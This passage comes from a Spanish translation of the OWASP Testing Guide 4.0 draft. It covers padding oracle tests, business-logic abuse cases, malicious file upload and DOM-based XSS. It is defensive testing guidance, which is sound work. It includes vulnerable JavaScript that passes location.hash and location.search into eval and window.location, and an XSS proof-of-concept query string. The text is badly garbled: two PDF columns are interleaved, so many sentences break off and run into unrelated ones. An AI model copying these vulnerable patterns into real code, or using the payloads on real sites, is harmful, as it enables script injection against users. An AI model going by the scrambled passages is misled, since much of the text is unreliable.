mensajes, la aplicación contiene un oracle padding. Herramientas
• PadBuster: github.com
Si los tres estados diferentes descritos anteriormente son implícitamente • python-paddingoracle: github.com
observables (mensajes de error diferentes, tiempos del lado de los canales),
hay una alta probabilidad de que en este momento hay un oracle padding • Poracle: github.com
presente. Trate de realizar el ataque de oracle padding para confirmarlo.
• Padding Oracle Exploitation Tool (POET): netifera.com
Ejemplos:
Ejemplos
Libros Blancos
• En Java, una excepción javax.crypto.BadPaddingException se lanza en este
caso. • Wikipedia - Padding oracle attack: en.wikipedia.org
Verifique que todos los lugares donde están codificados los datos del cliente, Como regla general, si los datos deben protegerse cuando se almacenan, estos
que sólo deben ser conocido por el servidor, se encuentran decodificados. datos también deben protegerse durante la transmisión. Algunos ejemplos de
Dicho código debe cumplir las siguientes condiciones: datos sensibles son:
• Información utilizada en la autenticación (por ejemplo credenciales, PINs, <body bgcolor=white> <h1>401 Authorization Required</h1> Invalid login
identificadores de sesión, Fichas, Cookies…) credentials! </body></html>
Ejemplo 1: Autenticación básica en HTTP La Cookie del identificador de sesión debe ser transmitida en canales
protegidos. Si la cookie no tiene la bandera de seguridad [6] se permite a la
Un ejemplo típico es el uso de una autenticación básica en HTTP. Cuando se aplicación transmitirla sin encriptar.
utiliza una autenticación básica, se codifican las credenciales de usuario en
lugar de encriptarlas y se envían como encabezados HTTP. En el ejemplo Note a continuación que la programación de la cookie se realiza sin la bandera
siguiente, el evaluador usa curl [5] para evaluar este tema. Note cómo la de seguridad, y todo el proceso de registro se realiza en HTTP y no HTTPS..
aplicación utiliza la autenticación básica y HTTP en lugar de HTTPS
Accept-Language: en-US,en;q=0.5
Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;
X-XSS-Protection: 1; mode=block
Content-Length: 0 • [5] curl puede ser usado para revisar cómo buscar páginas manualmente
http://example.com/private
• [2] OWASP TOP 10 2010 - Insufficient Transport Layer Protection
Host: example.com
El mayor enfoque es en aplicaciones web. Hay un debate dentro de la El primer ejemplo comienza con una manipulación simple del parámetro,
comunidad acerca de si estos problemas representan particularmente nuevos mientras que el segundo es un ejemplo del mundo real de un proceso que
conceptos, o si son variantes de principios bien conocidos. conduce a subvertir completamente la aplicación.
La prueba de fallas en la lógica del negocio es similar a los tipos de prueba Ejemplo 1:
utilizados por evaluadores funcionales que se enfocan en la prueba de estado
lógico o finito. Estos tipos de pruebas requieren que los profesionales de la Supongamos que un sitio de comercio electrónico permite a los usuarios
seguridad piensen un poco diferente, desarrollen casos de abuso y mal uso y seleccionar elementos que desean comprar, ver una página de resumen y
usen muchas de las técnicas de prueba adoptadas por los evaluadores luego licitar la venta. ¿Qué pasaría si un atacante vuelve a la página de
funcionales. resumen, manteniendo la validez de la sesión e inyecta un menor costo en
un elemento, completa la transacción y luego sale?
Ejemplo 2: Esto es importante porque, sin esta protección, los atacantes pueden ser
capaces de "engañar/trucar" la aplicación para que les permita entrar en
Retener/bloquear recursos y evitar que otros puedan comprar estos artículos secciones de la aplicación del sistema a las cuáles no deberian tener acceso
en línea puede resultar en que los atacantes compren artículos a bajo precio. en ese momento en particular, eludiendo así el flujo de trabajo de la lógica
La solución a este problema es implementar tiempos de cierre de sesión y de negocio de la aplicación.
mecanismos para asegurar que sólo el precio correcto puede ser cargado.
Las explotaciones de la lógica del negocio pueden separarse en las En las pruebas del tiempo de procesamiento, verificamos que la aplicación
siguientes categorías: no permita a los usuarios manipular un sistema o adivinar su
comportamiento basado en los tiempos de procesamiento de entrada o
salida.
Esto es importante porque, sin esta protección, los atacantes pueden insertar 4.12.5 Prueba del número de veces que limita el uso de una función (OTG-
datos/información "no validada" en la aplicación/sistema en "puntos de BUSLOGIC-005)
entrega" donde el sistema/aplicación considera que los datos/información es
"buena" y ha sido válida desde que los puntos de"entrada" realizaron la Al probar el límite de una función, verifique que la aplicación no permita a
validación de datos como parte del flujo de trabajo de la lógica de negocio. los usuarios utilizar partes de la aplicación o sus funciones, más veces de
las requeridas por el flujo de la lógica de trabajo.
Al evadir el flujo de trabajo y burlar las pruebas de secuencia correcta, Aunque existen herramientas para probar y verificar que los procesos del
verificamos que la aplicación no permite a los usuarios realizar acciones negocio funcionan correctamente en situaciones válidas, estas herramientas
fuera del flujo de proceso de negocios "aprobado/requerido". son incapaces de detectar vulnerabilidades lógicas. Por ejemplo, las
herramientas no tienen posibilidad de detectar si un usuario es capaz de
evitar el flujo de proceso del negocio a través de la edición de parámetros,
predicción de nombres de recursos o escalada de privilegios para acceder a
Esto es importante ya que, sin esta protección, los atacantes pueden ser recursos restringidos ni tienen ningún mecanismo para ayudar a los
capaces de evadir o burlar los flujos de trabajo y "controles" que les permite evaluadores humanos para que sospechen de esta situación.
entrar prematuramente o saltarse las secciones de la aplicación "requerida s",
y potencialmente permite que la acción/transacción termine sin completar el
proceso de negocio, dejando al sistema con información de seguimiento
incompleta en el backend. Los siguientes son algunos tipos comunes de herramientas que pueden ser
útiles en la identificación de temas relacionados con la lógica del negocio.
En la prueba de carga de tipos de archivos inesperados, verificamos que la • Paros Proxy: parosproxy.org
aplicación no permita a los usuarios cargar tipos de archivos que el sistema
no espera o requiera de acuerdo a la lógica del negocio.
4.12.9 Prueba de la posibilidad de carga de archivos maliciosos (OTG- • TamperIE (for Internet Explorer): bayden.com
BUSLOGIC-009)
Libros Blancos
Con Session Manager usted puede grabar rápidamente el estado de su • Business Logic Vulnerabilities in Web Applications:
navegador actual y recargarlo cuando sea necesario. Puede gestionar accorute.googlecode.com
múltiples sesiones, renombrarlas o removerlas de la biblioteca de sesión.
Swap My Cookies es un administrador de sesión. Gestiona sus cookies, • Finite State testing of Graphical User Interfaces, Fevzi Belli:
permitiéndole conectarse en cualquier sitio web con varias cuentas slideshare.net
diferentes.
• Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin Choi:
homepages.cs.ncl.ac.uk
• HTTP Response Browser: chrome.google.com/
• Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik, McAfee:
info-point-security.com
• Prevent application logic attacks with sound app security practices:
searchappsecurity.techtarget.com
Jeremiah Grossman Founder and CTO, WhiteHat Security: • Real-Life Example of a ‘Business Logic Defect: infosecisland.com
whitehatsec.com
Libros
Relacionados a OWASP • The Decision Model: A Business Logic Framework Linking Business and
Technology, By Barbara Von Halle, Larry Goldberg, Published by CRC
• Business Logic Attacks – Bots and Bats, Eldad Chai: blog.imperva.com Press, ISBN1420082817 (2010)
• OWASP Detail Misuse Cases: owasp.org Prueba de la validación de datos de la lógica del negocio (OTG-
BUSLOGIC-001)
Resumen
• How to Prevent Business Flaws Vulnerabilities in Web Applications,
Marco Morana: slideshare.net La aplicación debe asegurarse que pueden introducirse lógicamente datos
válidos en la sección de acceso directo, así como directamente en el lado
del servidor de una aplicación del sistema. Sólo verificar los datos
localmente puede dejar a las aplicaciones vulnerables a inyecciones de
Sitios web útiles servidor a través de proxies o en los intercambios con otros sistemas.
Las vulnerabilidades relacionadas con la validación de datos son únicas, ya crédito en múltiples lugares muy rápidamente, es posible superar mi límite
que son para una aplicación específica y diferente a las vulnerabilidades si los sistemas están basando sus decisiones en los datos de anoche.
relacionadas con la manipulación de solicitudes en las que están más
preocupadas de la lógica de los datos en lugar de simplemente romper el
flujo de trabajo de la lógica del negocio.
Cómo probar
Ejemplo 1
Método de prueba específica:
Supongamos que administra un sitio de comercio electrónico de multiples
niveles. El usuario escoge la alfombra, ingresa el tamaño, realiza el pago y
la aplicación de acceso directo ha verificado que toda la información
ingresada es correcta y válida para el contacto, tamaño, fabricación y color • Realizar pruebas GUI de validación funcional en la sección pública de la
de la alfombra. Sin embargo, la lógica de negocio tiene, en el fondo, dos aplicación para asegurarse que se aceptan únicamente los valores "válidos".
rutas.
• Pruebas del esquema de gestión de sesión (OTG-SESS-001) aquellas que permiten la depuración y presentación de pantallas especiales o
ventanas que son muy útiles durante el desarrollo, pero pueden filtrar
información o eludir la lógica del negocio.
Las aplicaciones deben tener controles lógicos para evitar que el sistema
acepte solicitudes falsificadas que pueden permitir a los atacantes la
• El Zed Attack Proxy (ZAP) es una herramienta de pruebas de penetración posibilidad de explotar la lógica del negocio, proceso o flujo de la
integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está aplicación. La falsificación de solicitudes no es nueva; el atacante utiliza un
diseñada para ser utilizada por personas con amplia experiencia en seguridad y, proxy de intercepción para enviar solicitudes POST/GET de HTTP a la
como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en aplicación.
el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así
como un conjunto de herramientas que permiten encontrar las
vulnerabilidades de seguridad manualmente.
Mediante la falsificación de solicitudes, los atacantes pueden evadir la
lógica del negocio o proceso al encontrar, predecir y manipular los
parámetros para hacer que la aplicación piense que un proceso o tarea ha
Referencias ocurrido o no.
books.google.com Además, las solicitudes falsificadas pueden permitir la subversión del flujo
del programa o de la lógica del negocio invocando funciones "ocultas" o
funcionalidad como la depuración, inicialmente utilizada por los
desarrolladores y evaluadores, denominada a veces "Huevo de Pascua". Un
Remediación "huevo de Pascua" (Easter egg) es una broma interna intencional, mensaje
oculto o una función en un trabajo como un programa de computadora,
La aplicación/sistema debe garantizar que sólo datos "lógicamente válidos" película, libro o crucigrama.
se acepten en todas las entradas y puntos de transferencia de la aplicación o
sistema, y que los datos no se consideren confiables una vez que han sido
ingresados en el sistema.
Según el diseñador de juegos Warren Robinett, el término fue acuñado en
Atari por el personal que fue alertado de la presencia de un mensaje secreto
que había sido escondido por Robinett en su juego ya ampliamente
Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002) distribuido, Adventure. Se puso este nombre para evocar la idea de una
cacería tradicional de "huevos de Pascua.”
Resumen
http://en.wikipedia.org/wiki/Easter_egg_(media)
Falsificar las solicitudes es un método que utilizan los atacantes para eludir
la sección de acceso público de una aplicación GUI, para presentar
directamente la información para que se procese en la sección de acceso
restringido. El objetivo del atacante es enviar las solicitudes POST/GET de Ejemplos
HTTP a través de un proxy de intercepción con los valores de datos no
soportados, protegidos en contra o esperados por la lógica del negocio de la Ejemplo 1
aplicación.
Supongamos que un teatro en su sitio de comercio electrónico permite a los
usuarios seleccionar su boleto, aplicar un descuento de tercera edad del 10%
una vez en toda la venta, ver el subtotal y licitar la venta. Si un atacante es
Algunos ejemplos de solicitudes falsificadas que explotan parámetros que capaz de ver a través de un proxy que la aplicación cuenta con un campo
pueden adivinarse o predecirse o que exponen funciones "ocultas" como oculto (de 1 o 0) usado por la lógica del negocio para determinar si ha
habido un descuento o no, el atacante podría presentar el 1 o el valor de • Si se encuentra que algún valor es adivinable, este valor puede ser
"descuento no ha sido tomado" varias veces para aprovechar el descuento modificado y se puede obtener visibilidad inesperada.
varias veces.
Método de prueba específica 2:.
Ejemplo 2
• Usando un proxy de intercepción, observe la solicitud POST/GET de
Supongamos que un juego de video en línea paga fichas por puntos HTTP en busca de indicios de funciones ocultas como la de depuración, que
anotados por encontrar tesoros piratas, piratas y por cada nivel completado. puede ser encendida o activada.
Estas fichas pueden intercambiarse posteriormente por premios.
Asimismo, si un atacante es capaz de ver a través de un proxy que la Pruebas para determinar la Exposición de las Variables de Sesión (OTG -
aplicación tiene un campo oculto utilizado durante el desarrollo y pruebas SESS-004)
para habilitar un registro que indica dónde se encuentran otros jugadores en
línea o los tesoros escondidos en relación con el atacante, entonces podrían
ir rápidamente a estos lugares y anotar puntos.
Pruebas de un CSRF (CSRF) (OTG-SESS-005)
Cómo probar
Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario
Método de prueba genérica (OTG-IDENT-004)
• Una vez encontrados, intente insertar datos lógicamente válidos en el ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para
sistema o aplicación, lo que permite al usuario ir a través de la encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por
aplicación/sistema contra el flujo normal de la lógica del negocio. personas con amplia experiencia en seguridad y, como tal, es ideal para
desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de
penetración. ZAP ofrece escáneres automatizados, así como un conjunto de
herramientas que permiten encontrar las vulnerabilidades de seguridad
Método de prueba específica 1: manualmente.
fragilesecurity.blogspot.com
Remediación
un atacante puede usar un proxy interceptor para agregar o actualizar datos Método de prueba específica 2
a los que no debería tener acceso y podría destruir la integridad de los datos
indicando que el ciudadano no estaba casado, pero suministrando los datos • Usando un proxy, capture cualquier tráfico HTTP en busca de un lugar
para el nombre de un cónyuge. Este tipo de inserción o actualización de para insertar información en las áreas de la aplicación que no son editables.
datos no verificados destruye la integridad de los datos y podría haberse
evitado si se seguía la lógica del proceso del negocio.
•Si los encuentra, vea cómo este campo se compara con la aplicación GUI e
interrogue a este valor mediante el proxy, presentando diferentes valores,
Ejemplo 4 tratando de eludir los procesos del negocio y manipulando los valores a los
que no debería tener acceso..
Muchos sistemas incluyen registros para el propósito de auditoría y
solución de problemas. Pero, ¿qué tan buena/válida es la información de
estos registros? ¿Pueden ser manipulados por los atacantes intencional o
accidentalmente, destruyendo su integridad? Método de prueba específica 3
• Para cada componente identificado, determine qué tipo de Todos los casos de prueba de validación de ingresos.
datos/información son lógicamente aceptables y de qué tipo de
aplicación/sistema debe protegerse. Tome en cuenta también quién, según la
lógica del negocio, tiene autorización para insertar, actualizar y eliminar
datos/información y en qué componente. Herramientas
• Usando una proxy capture cualquier tráfico de HTTP en búsqueda de ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para
campos ocultos. encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por
personas con amplia experiencia en seguridad y, como tal, es ideal para
desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de
penetración. ZAP ofrece escáneres automatizados, así como un conjunto de
• Si encuentra un campo oculto, vea cómo este campo se compara con la herramientas que permiten encontrar las vulnerabilidades de seguridad
aplicación GUI e interrogue a este valor mediante el proxy, presentando manualmente..
diferentes valores, tratando de eludir los procesos del negocio y
manipulando los valores a los que no debería tener acceso.
Referencias
• Implementing Referential Integrity and Shared Business Logic in a RDB: acuerdo a eso, cambiar el comportamiento basado en esa expectativa y
agiledata.org "jugarle al sistema".
Ejemplo 1
• Use referential integrity to enforce basic business rules in Oracle: Los videos de juegos de azar/tragamonedas pueden tardar más tiempo en
techrepublic.com procesar una transacción antes de realizar un desembolso fuerte. Esto
permitiría a los jugadores astutos apostar cantidades mínimas hasta que vean
el tiempo de proceso largo que los haría apostar el máximo.
Los atacantes pueden ser capaces de eludir la lógica del negocio y ejecutar
• Pruebas del tiempo de cierre de sesión (OTG-SESS-007) una función más veces que las "permitidas" al explotar la aplicación para
obtener beneficios personales.
Referencias
Ejemplo
Ninguna
Supongamos que un sitio de comercio electrónico permite a los usuarios
aprovechar alguno de los muchos descuentos en su compra total y luego
proceder a salir y licitar. ¿Qué sucede si el atacante navega a la página de
Remediación descuentos después de tomar y aplicar el descuento "admisible"? ¿Pueden
tomar ventaja de otro descuento? ¿Pueden tomar ventaja del mismo
Desarrolle aplicaciones con el tiempo de procesamiento en mente. Si los descuento varias veces?
atacantes pueden obtener algún tipo de ventaja al conocer los diferentes
tiempos de procesamiento y los resultados, agregue pasos adicionales para
que, sin importar los resultados, se proporcione el mismo marco de tiempo
de procesamiento. Cómo probar
Por ejemplo: Un sitio de comercio electrónico sólo puede permitir que los • Pruebas para determinar un mecanismo de bloqueo débil (OTG-AUTHN-
usuarios apliquen un descuento una vez por cada transacción, o algunas 003)
Ejemplos
Remediación
Ejemplo 1
La aplicación debe tener controles para asegurar que se sigue la lógica del
negocio y si una función/acción sólo puede ejecutarse un cierto número de Muchos de nosotros recibimos algún tipo de "puntos de club/fidelidad" por
veces y, cuando se alcanza el límite, el usuario no puede ejecutar la función. las compras en supermercados y gasolineras. Supongamos que un usuario
pudo iniciar una transacción vinculada a su cuenta y luego, después de
agregar puntos a su cuenta de club/lealtad, cancela la transacción o quita
elementos de su "canasta" y licita.
Para evitar que los usuarios usen una función más veces de las adecuadas, la
aplicación puede utilizar mecanismos tales como cookies para contabilizar o
mediante sesiones, que no permitan a los usuarios acceder a ejecutar la
función más veces. En este caso, el sistema no debe aplicar puntos/créditos a la cuenta hasta que
se licita o los puntos/créditos deben "deshacerse" si el incremento de
puntos/crédito no coinciden con la oferta final. Con esto en mente, un
atacante puede iniciar transacciones y cancelarlas, para aumentar su nivel de
Pruebas para la evasión de los flujos de trabajo (OTG-BUSLOGIC-006) puntos sin realmente comprar algo.
Resumen
La lógica del negocio de la aplicación debe pedir al usuario que complete los •Revise la documentación del proyecto y utilice pruebas exploratorias en
pasos específicos en el orden correcto/específico y si el flujo de trabajo se busca de métodos para saltar o ir a otros pasos en el proceso de la aplicación,
termina sin completarse correctamente, todas las acciones que generó se en un orden diferente del flujo de la lógica del negocio diseñado/esperado.
"deshacen" o cancelan. Las vulnerabilidades relacionadas con la evasión de
los flujos de trabajo o el saltarse el flujo de trabajo de la lógica del negocio
correcto son únicas ya que son muy específicas para cada sistema/aplicación
• Para cada método, desarrolle un caso de mal uso y trate de evitar o realizar • Prueba de comprobación de integridad (OTG-BUSLOGIC-003)
una acción que sea "inaceptable" por el flujo de trabajo de la lógica del
negocio.
• Inicie una transacción dentro de la aplicación hasta pasar los puntos que • Prueba del número de veces que limita el uso de una función (OTG-
disparan los créditos/puntos hacia la cuenta del usuario. BUSLOGIC-005)
•Cancele la transacción o reduzca la oferta final de manera que los valores • Prueba de las defensas contra el mal uso de la aplicación (OTG-
del punto deban ser disminuidos y compruebe el sistema de puntos/crédito BUSLOGIC-007)
para asegurarse que se registraron los puntos/créditos adecuados.
• Luego intente añadir, editar y eliminar datos que dejarían a los datos
existentes en un estado inválido o con valores inválidos para asegurar que al
usuario no le esté permitido guardar la información incorrecta. Algunos datos Referencias
o información "no válidos" pueden ser palabras específicas (palabras soeces)
o temas específicos (por ejemplo, cuestiones políticas). • OWASP Detail Misuse Cases: owasp.org
infosecisland.com
Remediación
• Prueba de la validación de datos de la lógica del negocio (OTG-
BUSLOGIC-001) La aplicación debe ser autoconsciente y tener comprobaciones localizadas
que aseguren que los usuarios completen cada paso del proceso del flujo de
trabajo en el orden correcto y evitar que los atacantes eludan/salten/o repitan
los pasos/procesos del flujo de trabajo. Probar las vulnerabilidades de flujo
• Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002) de trabajo implica el desarrollar casos de abuso/mal uso de la lógica del
negocio con el objetivo de completar el proceso de negocio al no completar
los pasos correctos en el orden correcto.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
289
Guia de pruebas 4.0 "Borrador"
Prueba de las defensas contra el mal uso de la aplicación (OTG- Si la aplicación no responde de ninguna manera y el atacante puede
BUSLOGIC-007) continuar abusando de la funcionalidad y envia contenido claramente
malicioso hacia la aplicación, la aplicación ha fallado este caso de prueba. En
Resumen la práctica, es poco probable que las acciones discretas del ejemplo anterior
sucedan así. Es mucho más probable que una herramienta de fuzzing se
El mal uso y uso no válido de una funcionalidad válida pueden identificar utilice para identificar las debilidades de cada parámetro a la vez. Esto es lo
ataques que trata de enumerar la aplicación web, identificar las debilidades y que un evaluador de seguridad habrá llevado a cabo, también.
explotar vulnerabilidades. Deberían realizarse pruebas para determinar si
existen mecanismos defensivos a nivel de la aplicación para proteger la
aplicación.
Cómo probar
[3] Altera una solicitud GET convirtiéndola en POST. • Rechazar los ingresos que contienen determinados caracteres.
[4] Agrega un parámetro extra. • Bloquear una cuenta temporalmente después de una serie de fallos de
autenticación.
[5] Duplica el parámetro de la pareja nombre/valor.
• Activa medidas de autenticación adicionales para las funciones restantes. • Parámetros adicionales de nombres, duplicados o faltantes
• Agrega retrasos de tiempo en cada ciclo de petición-respuesta. • Validación de ingresos múltiples o fallas de verificación de la lógica del
negocio con valores que no pueden ser el resultado de errores o faltas
• Comienza a grabar datos adicionales sobre las interacciones del usuario ortográficas del usuario
(por ejemplo encabezados de solicitudes HTTP desinfectados, cuerpos y
cuerpos de respuesta). • Recepción de datos estructurados (por ejemplo, JSON, XML) de un
formato no válido
• Utilizar la aplicación más rápido de lo que debería ser posible sin • IR 7684 Common Misuse Scoring System (CMSS), NIST:
herramientas de automatización
csrc.nist.gov
• Cambio en la geo-localización continental de un usuario
Todos los otros casos son relevantes. El riesgo en permitir a los usuarios cargar archivos es que los atacantes
pueden enviar un tipo de archivo inesperado que podría ejecutarse y tener un
impacto adverso sobre la aplicación o sistema a través de ataques que pueden
desfigurar el sitio web, ejecutar comandos remotos, navegar por los archivos
Herramientas del sistema, navegar en los recursos locales, atacar a otros servidores o
explotar las vulnerabilidades locales, sólo para nombrar unos pocos.
El probador puede usar muchas de las herramientas utilizadas para los otros
casos de prueba.
similar puede leerse, pero los datos extraídos pueden moverse a lugares • En la aplicación, navegue hasta la presentación del archivo o el mecanismo
incorrectos. de carga.
La aplicación puede estar esperando que solamente se carguen ciertos tipos • Envíe los archivos "no aprobados"para cargar y compruebe que se previene
de archivos para su procesamiento, tales como archivos .CSV o txt. La la carga correctamente.
aplicación no puede validar el archivo subido por su extensión (para
validación de archivos de baja seguridad) o contenido (para validación de
archivos de alta seguridad). Esto puede dar lugar a resultados inesperados
por parte del sistema o la base de datos en el sistema/aplicación o dar a los Casos de prueba relacionados
atacantes métodos adicionales para explotar el sistema/aplicación.
• Pruebe el manejo de archivos de extensiones en busca de información
sensible (OTG-CONFIG-003)
Cómo probar • File upload security best practices: Block a malicious file
stackoverflow.com
cwe.mitre.org
• Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para
verificar que cada archivo sea evaluado correctamente.
Remediación
• Prepare una biblioteca de archivos "no aprobados" para la carga que puede Las aplicaciones se deben desarrollar con mecanismos para que sólo acepte y
contener archivos tales como: archivos jsp, exe o html que contienen scripts. manipule archivos "aceptables" que el resto de funcionalidades de la
aplicación estén listas y esperando. Algunos ejemplos específicos incluyen:
listas negras o blancas de extensiones de archivo, utilizando el "Content-
Type" del encabezado o usando un reconocedor de tipo de archivo, todo esto
sólo permitir tipos de archivo específicos en el sistema.
Resumen
• Desarrolle o consiga un archivo "malicioso" conocido.
Bastantes procesos de negocio dentro de muchas aplicaciones permiten la
carga de información. Regularmente verificamos la validez y seguridad del
texto, pero el aceptar archivos puede implicar aún más riesgo. Para reducir el
riesgo sólo podemos aceptar determinadas extensiones de archivo, pero los • Trate de cargar el archivo malicioso al sistema/aplicación y verifique si se
atacantes son capaces de encapsular un código malicioso en tipos de archivo lo rechaza correctamente.
inerte. Probar en busca de archivos maliciosos verifica que el
sistema/aplicación es capaz de protegerse correctamente contra la carga de
archivos maliciosos por parte de los atacantes.
• Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para
verificar que cada archivo sea evaluado correctamente.
infosecauditor.wordpress.com
Herramientas
• Intercepting proxy
Referencias
Aunque las salvaguardias como las listas negra o blanca de las extensiones
de archivo, que utilizan el "Content-Type" como encabezado o que usan un
• Why File Upload Forms are a Major Security Threat: reconocedor de tipo de archivo no sean siempre protecciones contra este tipo
de vulnerabilidad, cada aplicación que acepta archivos de usuarios debe tener
www.acunetix.com un mecanismo para verificar que el archivo no contiene un código malicioso.
Nunca deben guardarse archivos donde los usuarios o los atacantes pueden
acceder directamente a ellos.
ejemplo, para limitar a los scripts de dominios distintos el obtener las navegador, este se ejecuta directamente en el navegador del usuario sin contacto del
cookies de sesión desde otros dominios. Una vulnerabilidad XSS basada en servidor.
DOM ocurre cuando se modifica el contenido activo, como una función de
JavaScript; se modifica con una solicitud especialmente diseñada, tal como
un elemento DOM que puede ser controlado por un atacante.
Las consecuencias de las fallas XSS basadas en DOM son tan extensas como
las vistas en formas más conocidas de XSS, incluyendo la recuperación de la
cookie, inyección de scripts maliciosos, etc. y, por lo tanto, deben ser tratadas
Ha habido muy pocos trabajos publicados sobre este tema y, como tal, existe con la misma importancia.
muy poca estandarización de su significado y pruebas formales.
</script> • Entradas escritas en la página por el servidor, de una manera que no permite XSS
directo.
Aunque hay poca diferencia con el código JavaScript en cómo se recuperan, es </script>
importante tener en cuenta que cuando la entrada es recibida por el servidor, el
servidor puede aplicar cualquier permutación a los datos que desea, mientras que
las permutaciones realizadas por objetos de JavaScript son bastante claras y
documentadas y, si es así, someFunction en el ejemplo anterior fuera un sink, Por esta razón, las pruebas automatizadas no detectarán las áreas susceptibles a XSS
entonces la explotabilidad del primero dependería de la filtración realizada por el basado en DOM, a menos que la herramienta de prueba pueda realizar un análisis
servidor, mientras que el segundo dependería de la codificación realizada por el adicional del código del lado cliente.
explorador en el objeto window.referer.
Las pruebas manuales, por lo tanto, deben llevarse a cabo y pueden realizarse examinando
Stefano Di Paulo ha escrito un excelente artículo sobre lo que los navegadores las áreas en el código donde se conocen los parámetros que pueden ser utiles para un
devuelven cuando se les pregunta por los distintos elementos de una dirección URL atacante. Los ejemplos de estas zonas incluyen lugares donde el código está escrito
que utiliza los atributos del documento. y la ubicación. Además, JavaScript se dinámicamente a la página y en otros lugares donde el DOM se modifica, o incluso donde
ejecuta a menudo fuera de bloques <script>, según lo evidenciado por los muchos los scripts se ejecutan directamente. Otros ejemplos son descritos en el excelente artículo
vectores que han llevado a evadir los filtros XSS en el pasado y. por lo tanto, al de DOM XSS por Amit Klein, al que se hace referencia al final de esta sección.
rastrear la aplicación, es importante tener en cuenta el uso de scripts en lugares
como controladores de eventos y bloques CSS con atributos de expresión. También
tenga en cuenta que cualquier sitio fuera del CSS u objetos de script tendrán que
evaluarse para determinar qué código está ejecutándose. Una prueba automatizada Referencias
tiene muy poco éxito en la identificación y validación de XSS basado en DOM,
que generalmente identifica XSS al enviar una carga específica y observar la Recursos OWASP
respuesta del servidor. Esto puede funcionar bien en el ejemplo simple
proporcionado a continuación, donde el parámetro de mensaje se refleja de vuelta • DOM based XSS Prevention Cheat Sheet
al usuario:
<script>
Libros Blancos
var pos=document.URL.indexOf(“message=”)+5;
• Document Object Model (DOM: en.wikipedia.org
document.write(document.URL.substring(pos,document.URL.length));
</script>
• DOM Based Cross Site Scripting or XSS of the Third Kind - Amit
Klein: webappsec.org
pero no puede ser detectada en el siguiente caso artificial:
<script>
• Browser location/document URI/URL Sources: code.google.com
var navAgt = navigator.userAgent;
else
Esta vulnerabilidad puede tener muchas consecuencias, como la divulgación de las cookies La página contiene los siguientes scripts:
de sesión de un usuario, que podría ser utilizada para suplantar la identidad de la víctima o,
más generalmente, puede permitir al atacante modificar el contenido de la página vista por <script>
la víctima o el comportamiento de la aplicación.
function loadObj(){
var cc=eval(‘(‘+aMess+’)’);
Cómo probar
document.getElementById(‘mess’).textContent=cc.message;
Esta vulnerabilidad se produce cuando la aplicación carece de una validación adecuada de
entradas y salidas del usuario. JavaScript se utiliza para rellenar dinámicamente las páginas }
web. Esta inyección se produce durante esta fase de procesamiento de contenido y, en
consecuencia, afecta a la víctima.
if(window.location.hash.indexOf(‘message’)==-1)
Cuando se trata de explotar este tipo de cuestiones, considere que algunos caracteres var aMess=”({\”message\”:\”Hello User!\”})”;
reciben un trato diferente en los diferentes navegadores. Para referencia, vea el Wiki de
DOM XSS. else
var
aMess=location.hash.substr(window.location.hash.indexOf(‘message=’)+8);
El siguiente script no realiza ninguna validación de la variable rr que contiene la entrada
del usuario a través de la cadena de consulta y, además, no se aplica ningún tipo de </script>
codificación:
El código anterior contiene una fuente 'location.hash' que está controlada por el atacante,
Prueba de Caja Negra quien puede inyectar directamente en el valor de 'mensaje' un código JavaScript para tomar
el control del navegador del usuario.
var rr = location.search.substring(1);
if(rr)
Referencias
window.location=decodeURIComponent(rr);
Recursos OWASP
Esto implica que un atacante podría inyectar código JavaScript simplemente
enviando la siguiente cadena de consulta: • DOM based XSS Prevention Cheat Sheet
www.victim.com/?javascript:alert(1)
• DOMXSS.com: domxss.com
La prueba de Caja Negra para ejecución en JavaScript no suele realizarse ya que el acceso
al código fuente siempre está disponible, y necesita ser enviado al cliente para ser Libros Blancos
ejecutado.
• Browser location/document URI/URL Sources: codegoogle.com
la identidad de la víctima o, más comúnmente, puede permitir al atacante modificar el añadirá una etiqueta de imagen a la página que se ejecutará un código JavaScript
contenido de la página vista por las víctimas. arbitrario introducido por el usuario malintencionado en el contexto HTML.
Esta vulnerabilidad se produce cuando el ingreso del usuario no está correctamente Las pruebas de Caja Negra mediante inyección HTML normalmente no se realizan,
desinfectado y la salida no está codificada. Una inyección permite al atacante enviar una puesto que el acceso al código fuente siempre está disponible y necesita ser
página HTML maliciosa a una víctima. El navegador de destino no será capaz de enviado al cliente para su ejecución.
distinguir (confiar) entre la parte legítima y la maliciosa y, en consecuencia, analiza y
ejecuta todo como confiable en el contexto de la víctima. Hay una amplia gama de
métodos y atributos que podrían ser utilizados para representar el contenido HTML. Si a
estos métodos se les provee un ingreso no confiable, entonces hay un riesgo alto de XSS, Pruebas de Caja Gris
específicamente una inyección HTML. Se puede inyectar un código HTML malicioso,
por ejemplo, mediante innerHTML, que se utiliza para representar el código HTML Probando las vulnerabilidades de inyección HTML:
ingresado por el usuario. Si las cadenas no se desinfectan correctamente, el problema
llevaría a una inyección HTML basada en XSS. Otro método podría ser document.write() Por ejemplo, mirando el siguiente URL:
http://www.domxss.com/domxss/01_Basics/06_jquery_old_html.html
Cuando se trata de explotar este tipo de problema, considere que algunos caracteres reciben
un trato diferente en los diferentes navegadores. Para referencia ver la Wiki de DOM XSS.
La propiedad innerHTML establece o devuelve el código HTML interno de un elemento. El código HTML contiene el siguente script:
La falta de desinfección en ingresos no confiables y la falta de codificación en los datos de
salida podría permitir a un atacante inyectar código HTML malintencionado. <script src=”../js/jquery-1.7.1.js”></script>
<script>
Ejemplo de código vulnerable: El siguiente ejemplo muestra un fragmento de código function setMessage(){
vulnerable que permite que una entrada no validada sea utilizada para crear html dinámico
en el contexto de la página: var t=location.hash.slice(1);
var user=location.href.substring(userposition+5); }
